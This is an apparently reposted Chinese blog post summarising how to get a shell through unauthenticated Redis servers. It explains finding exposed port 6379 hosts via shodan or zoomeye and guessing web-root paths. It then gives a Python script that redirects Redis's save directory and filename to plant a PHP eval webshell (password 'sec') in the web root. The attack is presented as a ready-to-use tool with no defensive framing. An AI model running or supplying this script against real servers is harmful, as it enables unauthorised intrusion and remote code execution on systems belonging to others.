1. 程式人生 > >Redis Getshell總結

Redis Getshell總結

Redis預設埠是6379,可以通過zoomeye或者shodan來查詢開放6379的埠,能收到很多對外開放6379埠的ip,而且絕大部門是未授權訪問的,因為預設redis是未授權訪問。但是還有一先決條件是該ip開放web服務,也就是開放如常見的80埠等,滿足這兩個條件你就有可能getshell。但是還有最麻煩的一件事是,你必須要知道網站web路徑。這邊只能靠網站報錯洩漏路徑,phpinfo檔案為刪除,檔案包含漏洞等,不然只能靠猜了,比如iis伺服器的路徑c:/inetpub/wwwroot等,linux伺服器/var/www, /var/www/html等。

  • 可以用redis-cli客戶端連上redis伺服器
  • 然後可以用info驗證是否有資訊
  • 通過設定路徑,設定webshell名字和內容getshell 

總結一下,redis getshell條件

  • redis可以未授權訪問,或者弱口令訪問
  • redis伺服器還開放了web服務
  • 知道web伺服器的路徑

以下還有一個redis getshell的指令碼

#!/usr/bin/env python
 
# coding=utf8
# author=Cy3ber http://www.cy3ber.com
 
import redis
import sys
 
def log(text):
    print '[*]------' + text
 
def getshell(ip='127.0.0.1', pt=6379, webdir='/var/www/', socket_timeout=10):
    try:
        r = redis.StrictRedis(host=ip, port=pt)
        if r.config_set('dir', webdir) == True and r.config_set('dbfilename', 'safe.php') 
== True:
            log('set shell on %safe.php sucsessed' % (webdir))
        else:
            log('set shell dir failed')
            sys.exit(1)
        if r.set('myshell', "<?php @eval($_POST['sec']);?>") == True:
        	log('set eval sucsessed')
        else:
            log('set eval failed')
            sys.exit(1)
        if r.save() == True:
        	log('save shell as %safe.php sucsessed password is "sec"'%(webdir))
        	log('getshell sucsessed please check')
        else:
            log('getshell failed')
    except:
        log('error')
 
if __name__ == '__main__':
    if len(sys.argv) <> 4:
    	print "\n+-----------------------------+"
    	print "|  JbossGetshell              |"
    	print "|  Cy3ber - cy3ber.com        |"
    	print "|  Email:
[email protected]
|" print "+-----------------------------+\n" print 'Usage:python redisgetshell.py ip port webdir' print "explame:python redisgetshell.py 10.0.18.1 6379 /data/web/" sys.exit(1) else: getshell(ip=sys.argv[1],pt=sys.argv[2],webdir=sys.argv[3])